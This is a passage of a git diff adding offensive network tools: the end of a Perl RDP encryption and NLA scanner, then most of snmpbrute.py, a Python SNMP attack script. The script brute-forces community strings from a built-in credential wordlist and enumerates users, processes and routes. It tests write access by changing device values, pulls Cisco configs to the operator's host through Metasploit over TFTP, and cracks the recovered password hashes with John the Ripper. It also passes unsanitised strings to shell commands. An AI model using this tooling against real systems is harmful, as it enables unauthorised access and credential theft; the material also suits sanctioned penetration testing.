$config{"issues"}{"NLA_SUPPORTED_BUT_NOT_MANDATED_DOS"} = 1; + } + } else { + # is this really a problem? + $config{"issues"}{"NLA_NOT_SUPPORTED_DOS"} = 1; + } + + if ($config{"protocols"}{"PROTOCOL_RDP"}) { + if ($config{"protocols"}{"PROTOCOL_SSL"} or $config{"protocols"}{"PROTOCOL_HYBRID"}) { + $config{"issues"}{"SSL_SUPPORTED_BUT_NOT_MANDATED_MITM"} = 1; + } else { + $config{"issues"}{"ONLY_RDP_SUPPORTED_MITM"} = 1; + } + + if ($config{"encryption_method"}{"ENCRYPTION_METHOD_40BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_56BIT"}) { + $config{"issues"}{"WEAK_RDP_ENCRYPTION_SUPPORTED"} = 1; + } + + if ($config{"encryption_method"}{"ENCRYPTION_METHOD_NONE"}) { + $config{"issues"}{"NULL_RDP_ENCRYPTION_SUPPORTED"} = 1; + } + + if ($config{"encryption_method"}{"ENCRYPTION_METHOD_FIPS"} and ($config{"encryption_method"}{"ENCRYPTION_METHOD_NONE"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_40BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_56BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_128BIT"})) { + $config{"issues"}{"FIPS_SUPPORTED_BUT_NOT_MANDATED"} = 1; + } + } + + print "\n"; + print "[+] Summary of protocol support\n\n"; + foreach my $protocol (keys(%{$config{"protocols"}})) { + printf "[-] $ip:$port supports %-15s: %s\n", $protocol, $config{"protocols"}{$protocol} ? "TRUE" : "FALSE"; + } + + print "\n"; + print "[+] Summary of RDP encryption support\n\n"; + foreach my $encryption_level (sort keys(%{$config{"encryption_level"}})) { + printf "[-] $ip:$port has encryption level: %s\n", $encryption_level; + } + foreach my $encryption_method (sort keys(%encryption_method)) { + printf "[-] $ip:$port supports %-25s: %s\n", $encryption_method{$encryption_method}, (defined($config{"encryption_method"}{$encryption_method{$encryption_method}}) and $config{"encryption_method"}{$encryption_method{$encryption_method}}) ? "TRUE" : "FALSE"; + } + + print "\n"; + print "[+] Summary of security issues\n\n"; + foreach my $issue (keys(%{$config{"issues"}})) { + print "[-] $ip:$port has issue $issue\n"; + } + + print Dumper \%config if $debug; +} + +sub test_std_rdp_security { + my ($socket) = @_; + my $string = get_x224_crq_std_rdp_security(); + return do_handshake($socket, $string); +} + +sub test_tls_security { + my ($socket) = @_; + my $string = get_x224_crq_tls_security(); + return do_handshake($socket, $string); +} + +sub test_credssp_security { + my ($socket) = @_; + my $string = get_x224_crq_credssp_security(); + return do_handshake($socket, $string); +} + +sub test_classic_rdp_security { + my ($socket) = @_; + my $string = get_x224_crq_classic(); + return do_handshake($socket, $string); +} + +sub test_mcs_initial_connect { + my ($socket, $enc_hex) = @_; + my $string = get_mcs_initial_connect($enc_hex); + return do_handshake($socket, $string); +} + +sub do_handshake { + my ($socket, $string) = @_; + print "[+] Sending:\n" if $debug > 1; + hdump($string) if $debug > 1; + + print $socket $string; + + my $data; + + local $SIG{ALRM} = sub { die "alarm\n" }; + eval { + alarm($global_recv_timeout); + $socket->recv($data,4); + alarm(0); + }; + if ($@) { + print "[W] Timeout on recv. Results may be unreliable.\n"; + } + + if (length($data) == 4) { + print "[+] Received from Server :\n" if $debug > 1; + hdump($data) if $debug > 1; + my @data = split("", $data); + my $length = (ord($data[2]) << 8) + ord($data[3]); + printf "[+] Initial length: %d\n", $length if $debug > 1; + my $data2 = ""; + while (length($data) < $length) { + local $SIG{ALRM} = sub { die "alarm\n" }; + eval { + alarm($global_recv_timeout); + $socket->recv($data2,$length - 4); + alarm(0); + }; + if ($@) { + print "[W] Timeout on recv. Results may be unreliable.\n"; + } + print "[+] Received " . length($data2) . " bytes from Server :\n" if $debug > 1; + hdump($data2) if $debug > 1; + $data .= $data2; + } + return split "", $data; + } else { + return undef; + } +} + +# http://www.perlmonks.org/?node_id=111481 +sub hdump { + my $offset = 0; + my(@array,$format); + foreach my $data (unpack("a16"x(length($_[0])/16)."a*",$_[0])) { + my($len)=length($data); + if ($len == 16) { + @array = unpack('N4', $data); + $format="0x%08x (%05d) %08x %08x %08x %08x %s\n"; + } else { + @array = unpack('C*', $data); + $_ = sprintf "%2.2x", $_ for @array; + push(@array, ' ') while $len++ < 16; + $format="0x%08x (%05d)" . + " %s%s%s%s %s%s%s%s %s%s%s%s %s%s%s%s %s\n"; + } + $data =~ tr/\0-\37\177-\377/./; + printf $format,$offset,$offset,@array,$data; + $offset += 16; + } +} + +sub get_x224_crq_std_rdp_security { + return get_x224_connection_request("00"); +} + +sub get_x224_crq_tls_security { + return get_x224_connection_request("01"); +} + +sub get_x224_crq_credssp_security { + return get_x224_connection_request("03"); +} + +sub get_x224_crq_classic { + return get_old_connection_request(); +} + +# enc_hex is bitmask of: +# 01 - 40 bit +# 02 - 128 bit +# 08 - 56 bit +# 10 - fips +# +# common value sniffed from wireshark: 03 +sub get_mcs_initial_connect { + my $enc_hex = shift; + my @packet_hex = qw( + 03 00 01 a2 02 f0 80 7f 65 82 + 01 96 04 01 01 04 01 01 01 01 ff 30 20 02 02 00 + 22 02 02 00 02 02 02 00 00 02 02 00 01 02 02 00 + 00 02 02 00 01 02 02 ff ff 02 02 00 02 30 20 02 + 02 00 01 02 02 00 01 02 02 00 01 02 02 00 01 02 + 02 00 00 02 02 00 01 02 02 04 20 02 02 00 02 30 + 20 02 02 ff ff 02 02 fc 17 02 02 ff ff 02 02 00 + 01 02 02 00 00 02 02 00 01 02 02 ff ff 02 02 00 + 02 04 82 01 23 00 05 00 14 7c 00 01 81 1a 00 08 + 00 10 00 01 c0 00 44 75 63 61 81 0c 01 c0 d4 00 + 04 00 08 00 20 03 58 02 01 ca 03 aa 09 04 00 00 + 28 0a 00 00 68 00 6f 00 73 00 74 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 04 00 00 00 00 00 00 00 0c 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 01 ca 01 00 00 00 00 00 18 00 07 00 01 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 04 c0 0c 00 09 00 00 00 00 00 00 00 02 c0 0c 00 + ); + push @packet_hex, $enc_hex; + push @packet_hex, qw(00 00 00 00 00 00 00 03 c0 20 00 02 00 00 00 + 63 6c 69 70 72 64 72 00 c0 a0 00 00 72 64 70 64 + 72 00 00 00 80 80 00 00 + ); + my $string = join("", @packet_hex); + $string =~ s/(..)/sprintf("%c", hex($1))/ge; + return $string; +} + +# MS-RDPBCGR +sub get_x224_connection_request { + my $sec = shift; + my @packet_hex; + push @packet_hex, qw(03); # tpktHeader - version + push @packet_hex, qw(00); # tpktHeader - reserved + push @packet_hex, qw(00 13); # tpktHeader - length + push @packet_hex, qw(0e); # x224Crq - length + push @packet_hex, qw(e0); # x224Crq - connection request + push @packet_hex, qw(00 00); # x224Crq - ?? + push @packet_hex, qw(00 00); # x224Crq - src-ref + push @packet_hex, qw(00); # x224Crq - class + push @packet_hex, qw(01); # rdpNegData - type + push @packet_hex, qw(00); # rdpNegData - flags + push @packet_hex, qw(08 00); # rdpNegData - length + push @packet_hex, ($sec, qw(00 00 00)); # rdpNegData - requestedProtocols. bitmask, little endian: 0=standard rdp security, 1=TLSv1, 2=Hybrid (CredSSP) + + my $string = join("", @packet_hex); + $string =~ s/(..)/sprintf("%c", hex($1))/ge; + return $string; +} + +sub get_old_connection_request { + my @packet_hex = qw( + 03 00 00 22 1d e0 00 00 00 00 + 00 43 6f 6f 6b 69 65 3a 20 6d 73 74 73 68 61 73 + 68 3d 72 6f 6f 74 0d 0a + ); + my $string = join("", @packet_hex); + $string =~ s/(..)/sprintf("%c", hex($1))/ge; + return $string; +} + +sub get_socket { + my ($ip, $port) = @_; + my $socket = undef; + my $failcount = 0; + while (!defined($socket)) { + $global_connection_count++; + eval { + local $SIG{ALRM} = sub { die "alarm\n" }; + alarm($global_recv_timeout); + $socket = new IO::Socket::INET ( + PeerHost => $ip, + PeerPort => $port, + Proto => 'tcp', + ) or print "WARNING in Socket Creation : $!\n"; + alarm(0); + }; + if ($@) { + print "[W] Timeout on connect. Retrying...\n"; + return undef; + } + unless (defined($socket)) { + $failcount++; + } + if ($failcount > $global_connect_fail_count) { + die "ERROR: failed to connect $global_connect_fail_count times\n"; + } + } + return $socket; +} + +sub print_section { + my ($string) = @_; + print "\n=== $string ===\n\n"; +} + +sub resolve { + my $hostname = shift; + print "[D] Resolving $hostname\n" if $debug > 0; + my $ip = gethostbyname($hostname); + if (defined($ip)) { + return inet_ntoa($ip); + } else { + return undef; + } +} + +# Perl Cookbook, Tie Example: Multiple Sink Filehandles +package Tie::Tee; + +sub TIEHANDLE { + my $class = shift; + my $handles = [@_]; + bless $handles, $class; + return $handles; +} + +sub PRINT { + my $href = shift; + my $handle; + my $success = 0; + foreach $handle (@$href) { + $success += print $handle @_; + } + return $success == @$href; +} + +sub PRINTF { + my $href = shift; + my $handle; + my $success = 0; + foreach $handle (@$href) { + $success += printf $handle @_; + } + return $success == @$href; +} + +1; + diff --git a/scripts/snmpbrute.py b/scripts/snmpbrute.py new file mode 100644 index 00000000..97a68a45 --- /dev/null +++ b/scripts/snmpbrute.py @@ -0,0 +1,789 @@ +#!/usr/bin/env python +# SNMP Bruteforce & Enumeration Script +# Requires metasploit, snmpwalk, snmpstat and john the ripper +__version__ = 'v1.0b' +from socket import socket, SOCK_DGRAM, AF_INET, timeout +from random import randint +from time import sleep +import optparse, sys, os +from subprocess import Popen, PIPE +import struct +import threading, thread +import tempfile + +from scapy.all import (SNMP, SNMPnext, SNMPvarbind, ASN1_OID, SNMPget, ASN1_DECODING_ERROR, ASN1_NULL, ASN1_IPADDRESS, + SNMPset, SNMPbulk, IP) + +########################################################################################################## +# Defaults +########################################################################################################## +class defaults: + rate=30.0 + timeOut=2.0 + port=161 + delay=2 + interactive=True + verbose=False + getcisco=True + colour=True + +default_communities=['','0','0392a0','1234','2read','3com','3Com','3COM','4changes','access','adm','admin','Admin','administrator','agent','agent_steal','all','all private','all public','anycom','ANYCOM','apc','bintec','blue','boss','c','C0de','cable-d','cable_docsispublic@es0','cacti','canon_admin','cascade','cc','changeme','cisco','CISCO','cmaker','comcomcom','community','core','CR52401','crest','debug','default','demo','dilbert','enable','entry','field','field-service','freekevin','friend','fubar','guest','hello','hideit','host','hp_admin','ibm','IBM','ilmi','ILMI','intel','Intel','intermec','Intermec','internal','internet','ios','isdn','l2','l3','lan','liteon','login','logon','lucenttech','lucenttech1','lucenttech2','manager','master','microsoft','mngr','mngt','monitor','mrtg','nagios','net','netman','network','nobody','NoGaH$@!','none','notsopublic','nt','ntopia','openview','operator','OrigEquipMfr','ourCommStr','pass','passcode','password','PASSWORD','pr1v4t3','pr1vat3','private',' private','private ','Private','PRIVATE','private@es0','Private@es0','private@es1','Private@es1','proxy','publ1c','public',' public','public ','Public','PUBLIC','public@es0','public@es1','public/RO','read','read-only','readwrite','read-write','red','regional','','rmon','rmon_admin','ro','root','router','rw','rwa','sanfran','san-fran','scotty','secret','Secret','SECRET','Secret C0de','security','Security','SECURITY','seri','server','snmp','SNMP','snmpd','snmptrap','snmp-Trap','SNMP_trap','SNMPv1/v2c','SNMPv2c','solaris','solarwinds','sun','SUN','superuser','supervisor','support','switch','Switch','SWITCH','sysadm','sysop','Sysop','system','System','SYSTEM','tech','telnet','TENmanUFactOryPOWER','test','TEST','test2','tiv0li','tivoli','topsecret','traffic','trap','user','vterm1','watch','watchit','windows','windowsnt','workstation','world','write','writeit','xyzzy','yellow','ILMI'] + +########################################################################################################## +# OID's +########################################################################################################## +''' Credits +Some OID's borowed from Cisc0wn script +# Cisc0wn - The Cisco SNMP 0wner. +# Daniel Compton +# www.commonexploits.com +# contact@commexploits.com +''' + +RouteOIDS={ + 'ROUTDESTOID': [".1.3.6.1.2.1.4.21.1.1", "Destination"], + 'ROUTHOPOID': [".1.3.6.1.2.1.4.21.1.7", "Next Hop"], + 'ROUTMASKOID': [".1.3.6.1.2.1.4.21.1.11", "Mask"], + 'ROUTMETOID': [".1.3.6.1.2.1.4.21.1.3", "Metric"], + 'ROUTINTOID': [".1.3.6.1.2.1.4.21.1.2", "Interface"], + 'ROUTTYPOID': [".1.3.6.1.2.1.4.21.1.8", "Route type"], + 'ROUTPROTOID': [".1.3.6.1.2.1.4.21.1.9", "Route protocol"], + 'ROUTAGEOID': [".1.3.6.1.2.1.4.21.1.10", "Route age"] +} + +InterfaceOIDS={ + #Interface Info + 'INTLISTOID': [".1.3.6.1.2.1.2.2.1.2", "Interfaces"], + 'INTIPLISTOID': [".1.3.6.1.2.1.4.20.1.1", "IP address"], + 'INTIPMASKOID': [".1.3.6.1.2.1.4.20.1.3", "Subnet mask"], + 'INTSTATUSLISTOID':[".1.3.6.1.2.1.2.2.1.8", "Status"] +} + +ARPOIDS={ + # Arp table + 'ARPADDR': [".1.3.6.1.2.1.3.1 ","ARP address method A"], + 'ARPADDR2': [".1.3.6.1.2.1.3.1 ","ARP address method B"] +} + +OIDS={ + 'SYSTEM':["iso.3.6.1.2.1.1 ","SYSTEM Info"] +} + +snmpstat_args={ + 'Interfaces':["-Ci","Interface Info"], + 'Routing':["-Cr","Route Info"], + 'Netstat':["","Netstat"], + #'Statistics':["-Cs","Stats"] +} + +'''Credits +The following OID's are borrowed from snmpenum.pl script +# ----by filip waeytens 2003---- +# ---- DA SCANIT CREW www.scanit.be ---- +# filip.waeytens@hushmail.com +''' + +WINDOWS_OIDS={ + 'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"], + 'INSTALLED SOFTWARE': ["1.3.6.1.2.1.25.6.3.1.2","Installed Software"], + 'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"], + 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], + 'DOMAIN': ["1.3.6.1.4.1.77.1.4.1","Domain"], + 'USERS': ["1.3.6.1.4.1.77.1.2.25","Users"], + 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], + 'SHARES': ["1.3.6.1.4.1.77.1.2.27","Shares"], + 'DISKS': ["1.3.6.1.2.1.25.2.3.1.3","Disks"], + 'SERVICES': ["1.3.6.1.4.1.77.1.2.3.1.1","Services"], + 'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"], + 'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"] +} + +LINUX_OIDS={ + 'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"], + 'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"], + 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], + 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], + 'MOUNTPOINTS': ["1.3.6.1.2.1.25.2.3.1.3","MountPoints"], + 'RUNNING SOFTWARE PATHS': ["1.3.6.1.2.1.25.4.2.1.4","Running Software Paths"], + 'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"], + 'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"] +} + +CISCO_OIDS={ + 'LAST TERMINAL USERS': ["1.3.6.1.4.1.9.9.43.1.1.6.1.8","Last Terminal User"], + 'INTERFACES': ["1.3.6.1.2.1.2.2.1.2","Interfaces"], + 'SYSTEM INFO': ["1.3.6.1.2.1.1.1","System Info"], + 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], + 'SNMP Communities': ["1.3.6.1.6.3.12.1.3.1.4","Communities"], + 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], + 'IP ADDRESSES': ["1.3.6.1.2.1.4.20.1.1","IP Addresses"], + 'INTERFACE DESCRIPTIONS': ["1.3.6.1.2.1.31.1.1.1.18","Interface Descriptions"], + 'HARDWARE': ["1.3.6.1.2.1.47.1.1.1.1.2","Hardware"], + 'TACACS SERVER': ["1.3.6.1.4.1.9.2.1.5","TACACS Server"], + 'LOG MESSAGES': ["1.3.6.1.4.1.9.9.41.1.2.3.1.5","Log Messages"], + 'PROCESSES': ["1.3.6.1.4.1.9.9.109.1.2.1.1.2","Processes"], + 'SNMP TRAP SERVER': ["1.3.6.1.6.3.12.1.2.1.7","SNMP Trap Server"] +} + +########################################################################################################## +# Classes +########################################################################################################## + +class SNMPError(Exception): + '''Credits + Class copied from sploitego project + __original_author__ = 'Nadeem Douba' + https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py + ''' + pass + +class SNMPVersion: + '''Credits + Class copied from sploitego project + __original_author__ = 'Nadeem Douba' + https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py + ''' + v1 = 0 + v2c = 1 + v3 = 2 + + @classmethod + def iversion(cls, v): + if v in ['v1', '1']: + return cls.v1 + elif v in ['v2', '2', 'v2c']: + return cls.v2c + elif v in ['v3', '3']: + return cls.v3 + raise ValueError('No such version %s' % v) + + @classmethod + def sversion(cls, v): + if not v: + return 'v1' + elif v == 1: + return 'v2c' + elif v == 2: + return 'v3' + raise ValueError('No such version number %s' % v) + +class SNMPBruteForcer(object): + #This class is used for the sploitego method of bruteforce (--sploitego) + '''Credits + Class copied from sploitego project + __original_author__ = 'Nadeem Douba' + https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py + ''' + def __init__(self, agent, port=161, version='v2c', timeout=0.5, rate=1000): + self.version = SNMPVersion.iversion(version) + self.s = socket(AF_INET, SOCK_DGRAM) + self.s.settimeout(timeout) + self.addr = (agent, port) + self.rate = rate + + def guess(self, communities): + + p = SNMP( + version=self.version, + PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) + ) + r = [] + for c in communities: + i = randint(0, 2147483647) + p.PDU.id = i + p.community = c + self.s.sendto(str(p), self.addr) + sleep(1/self.rate) + while True: + try: + p = SNMP(self.s.recvfrom(65535)[0]) + except timeout: + break + r.append(p.community.val) + return r + + def __del__(self): + self.s.close() + +class SNMPResults: + addr='' + version='' + community='' + write=False + + def __eq__(self, other): + return self.addr == other.addr and self.version == other.version and self.community == other.community + +########################################################################################################## +# Colour output functions +########################################################################################################## + +# for color output +BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8) + +#following from Python cookbook, #475186 +def has_colours(stream): + if not hasattr(stream, "isatty"): + return False + if not stream.isatty(): + return False # auto color only on TTYs + try: + import curses + curses.setupterm() + return curses.tigetnum("colors") > 2 + except: + # guess false in case of error + return False +has_colours = has_colours(sys.stdout) + +def printout(text, colour=WHITE): + + if has_colours and defaults.colour: + seq = "\x1b[1;%dm" % (30+colour) + text + "\x1b[0m\n" + sys.stdout.write(seq) + else: + #sys.stdout.write(text) + print text + + +########################################################################################################## +# +########################################################################################################## + +def banner(art=True): + if art: + print >> sys.stderr, " _____ _ ____ _______ ____ __ " + print >> sys.stderr, " / ___// | / / |/ / __ \\ / __ )_______ __/ /____ " + print >> sys.stderr, " \\__ \\/ |/ / /|_/ / /_/ / / __ / ___/ / / / __/ _ \\" + print >> sys.stderr, " ___/ / /| / / / / ____/ / /_/ / / / /_/ / /_/ __/" + print >> sys.stderr, "/____/_/ |_/_/ /_/_/ /_____/_/ \\__,_/\\__/\\___/ " + print >> sys.stderr, "" + print >> sys.stderr, "SNMP Bruteforce & Enumeration Script " + __version__ + print >> sys.stderr, "http://www.secforce.com / nikos.vassakis secforce.com" + print >> sys.stderr, "###############################################################" + print >> sys.stderr, "" + +def listener(sock,results): + while True: + try: + response,addr=SNMPrecv(sock) + except timeout: + continue + except KeyboardInterrupt: + break + except: + break + r=SNMPResults() + r.addr=addr + r.version=SNMPVersion.sversion(response.version.val) + r.community=response.community.val + results.append(r) + printout (('%s : %s \tVersion (%s):\t%s' % (str(addr[0]),str(addr[1]), SNMPVersion.sversion(response.version.val),response.community.val)),WHITE) + +def SNMPrecv(sock): + try: + recv,addr=sock.recvfrom(65535) + response = SNMP(recv) + return response,addr + except: + raise + +def SNMPsend(sock, packets, ip, port=defaults.port, community='', rate=defaults.rate): + addr = (ip, port) + for packet in packets: + i = randint(0, 2147483647) + packet.PDU.id = i + packet.community = community + sock.sendto(str(packet), addr) + sleep(1/rate) + +def SNMPRequest(result,OID, value='', TimeOut=defaults.timeOut): + s = socket(AF_INET, SOCK_DGRAM) + s.settimeout(TimeOut) + response='' + r=result + + version = SNMPVersion.iversion(r.version) + if value: + p = SNMP( + version=version, + PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID), value=value)]) + ) + else: + p = SNMP( + version=version, + PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID))]) + ) + + SNMPsend(s,p,r.addr[0],r.addr[1],r.community) + for x in range(0, 5): + try: + response,addr=SNMPrecv(s) + break + except timeout: # if request times out retry + sleep(0.5) + continue + s.close + if not response: + raise timeout + return response + +def testSNMPWrite(results,options,OID='.1.3.6.1.2.1.1.4.0'): + #Alt .1.3.6.1.2.1.1.5.0 + + setval='HASH(0xDEADBEF)' + for r in results: + try: + originalval=SNMPRequest(r,OID) + + if originalval: + originalval=originalval[SNMPvarbind].value.val + + SNMPRequest(r,OID,setval) + curval=SNMPRequest(r,OID)[SNMPvarbind].value.val + + if curval == setval: + r.write=True + try: + SNMPRequest(r,OID,originalval) + except timeout: + pass + if options.verbose: printout (('\t %s (%s) (RW)' % (r.community,r.version)),GREEN) + curval=SNMPRequest(r,OID)[SNMPvarbind].value.val + if curval != originalval: + printout(('Couldn\'t restore value to: %s (OID: %s)' % (str(originalval),str(OID))),RED) + else: + if options.verbose: printout (('\t %s (%s) (R)' % (r.community,r.version)),BLUE) + else: + r.write=None + printout (('\t %s (%s) (Failed)' % (r.community,r.version)),RED) + except timeout: + r.write=None + printout (('\t %s (%s) (Failed!)' % (r.community,r.version)),RED) + continue + +def generic_snmpwalk(snmpwalk_args,oids): + for key, val in oids.items(): + try: + printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) + entry={} + out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines() + + print '\tINFO' + print '\t----\t' + for i in out: + print '\t',i.strip() + print '\n' + except KeyboardInterrupt: + pass + +def enumerateSNMPWalk(result,options): + r=result + + snmpwalk_args=' -c "'+r.community+'" -'+r.version+' '+str(r.addr[0])+':'+str(r.addr[1]) + + ############################################################### Enumerate OS + if options.windows: + generic_snmpwalk(snmpwalk_args,WINDOWS_OIDS) + return + if options.linux: + generic_snmpwalk(snmpwalk_args,LINUX_OIDS) + return + if options.cisco: + generic_snmpwalk(snmpwalk_args,CISCO_OIDS) + + ############################################################### Enumerate CISCO Specific + ############################################################### Enumerate Routes + entry={} + out=os.popen('snmpwalk'+snmpwalk_args+' '+'.1.3.6.1.2.1.4.21.1.1'+' '+'| awk \'{print $NF}\' 2>&1''').readlines() + lines = len(out) + + printout('################## Enumerating Routing Table (snmpwalk)',YELLOW) + try: + for key, val in RouteOIDS.items(): #Enumerate Routes + #print '\t *',val[1], val[0] + out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+'| awk \'{print $NF}\' 2>&1').readlines() + + entry[val[1]]=out + + + print '\tDestination\t\tNext Hop\tMask\t\t\tMetric\tInterface\tType\tProtocol\tAge' + print '\t-----------\t\t--------\t----\t\t\t------\t---------\t----\t--------\t---' + for j in range(lines): + log.info( '\t'+entry['Destination'][j].strip().ljust(12,' ') + + '\t\t'+entry['Next Hop'][j].strip().ljust(12,' ') + + '\t'+entry['Mask'][j].strip().ljust(12,' ') + + '\t\t'+entry['Metric'][j].strip().center(6,' ') + + '\t'+entry['Interface'][j].strip().center(10,' ') + + '\t'+entry['Route type'][j].strip().center(4,' ') + + '\t'+entry['Route protocol'][j].strip().center(8,' ') + + '\t'+entry['Route age'][j].strip().center(3,' ') + ) + except KeyboardInterrupt: + pass + + ############################################################### Enumerate Arp + print '\n' + for key, val in ARPOIDS.items(): + try: + printout(('################## Enumerating ARP Table using: %s (%s)'%(val[0],val[1])),YELLOW) + entry={} + out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2 | cut -d\':\' -f 2').readlines() + + lines=len(out)/3 + + entry['V']=out[0*lines:1*lines] + entry['MAC']=out[1*lines:2*lines] + entry['IP']=out[2*lines:3*lines] + + + print '\tIP\t\tMAC\t\t\tV' + print '\t--\t\t---\t\t\t--' + for j in range(lines): + log.info( '\t'+entry['IP'][j].strip().ljust(12,' ') + + '\t'+entry['MAC'][j].strip().ljust(18,' ') + + '\t'+entry['V'][j].strip().ljust(2,' ') + ) + print '\n' + except KeyboardInterrupt: + pass + + ############################################################### Enumerate SYSTEM + for key, val in OIDS.items(): + try: + printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) + entry={} + out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines() + + print '\tINFO' + print '\t----\t' + for i in out: + print '\t',i.strip() + print '\n' + except KeyboardInterrupt: + pass + ############################################################### Enumerate Interfaces + for key, val in snmpstat_args.items(): + try: + printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) + out=os.popen('snmpnetstat'+snmpwalk_args+' '+val[0]).readlines() + + for i in out: + print '\t',i.strip() + print '\n' + except KeyboardInterrupt: + pass + +def get_cisco_config(result,options): + printout(('################## Trying to get config with: %s'% result.community),YELLOW) + + identified_ip=os.popen('ifconfig eth0 |grep "inet addr:" |cut -d ":" -f 2 |awk \'{ print $1 }\'').read() + + if options.interactive: + Local_ip = raw_input('Enter Local IP ['+str(identified_ip).strip()+']:') or identified_ip.strip() + else: + Local_ip = identified_ip.strip() + + if not (os.path.isdir("./output")): + os.popen('mkdir output') + + p=Popen('msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E ',shell=True,stdin=PIPE,stdout=PIPE, stderr=PIPE) #>/dev/null 2>&1 + + + print 'msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E ' + + out=[] + while p.poll() is None: + line=p.stdout.readline() + out.append(line) + print '\t',line.strip() + + printout('################## Passwords Found:',YELLOW) + encrypted=[] + for i in out: + if "Password" in i: + print '\t',i.strip() + if "Encrypted" in i: + encrypted.append(i.split()[-1]) + + if encrypted: + print '\nCrack encrypted password(s)?' + for i in encrypted: + print '\t',i + + #if (False if raw_input("(Y/n):").lower() == 'n' else True): + if not get_input("(Y/n):",'n',options): + + with open('./hashes', 'a') as f: + for i in encrypted: + f.write(i+'\n') + + p=Popen('john ./hashes',shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE) + while p.poll() is None: + print '\t',p.stdout.readline() + print 'Passwords Cracked:' + out=os.popen('john ./hashes --show').readlines() + for i in out: + print '\t', i.strip() + + out=[] + while p.poll() is None: + line=p.stdout.readline() + out.append(line) + print '\t',line.strip() + +def select_community(results,options): + default=None + try: + printout("\nIdentified Community strings",WHITE) + + for l,r in enumerate(results): + if r.write==True: + printout ('\t%s) %s %s (%s)(RW)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),GREEN) + default=l + elif r.write==False: + printout ('\t%s) %s %s (%s)(RO)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),BLUE) + else: + printout ('\t%s) %s %s (%s)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),RED) + + if default is None: + default = l + + if not options.enum: + return + + if options.interactive: + selection=raw_input("Select Community to Enumerate ["+str(default)+"]:") + if not selection: + selection=default + else: + selection=default + + try: + return results[int(selection)] + except: + return results[l] + except KeyboardInterrupt: + exit(0) + +def SNMPenumeration(result,options): + getcisco=defaults.getcisco + try: + printout (("\nEnumerating with READ-WRITE Community string: %s (%s)" % (result.community,result.version)),YELLOW) + enumerateSNMPWalk(result,options) + + if options.windows or options.linux: + if not get_input("Get Cisco Config (y/N):",'y',options): + getcisco=False + if getcisco: + get_cisco_config(result,options) + except KeyboardInterrupt: + print '\n' + return + +def password_brutefore(options, communities, ips): + s = socket(AF_INET, SOCK_DGRAM) + s.settimeout(options.timeOut) + + results=[] + + #Start the listener + T = threading.Thread(name='listener', target=listener, args=(s,results,)) + T.start() + + # Craft SNMP's for both versions + p1 = SNMP( + version=SNMPVersion.iversion('v1'), + PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) + ) + p2c = SNMP( + version=SNMPVersion.iversion('v2c'), + PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) + ) + + packets = 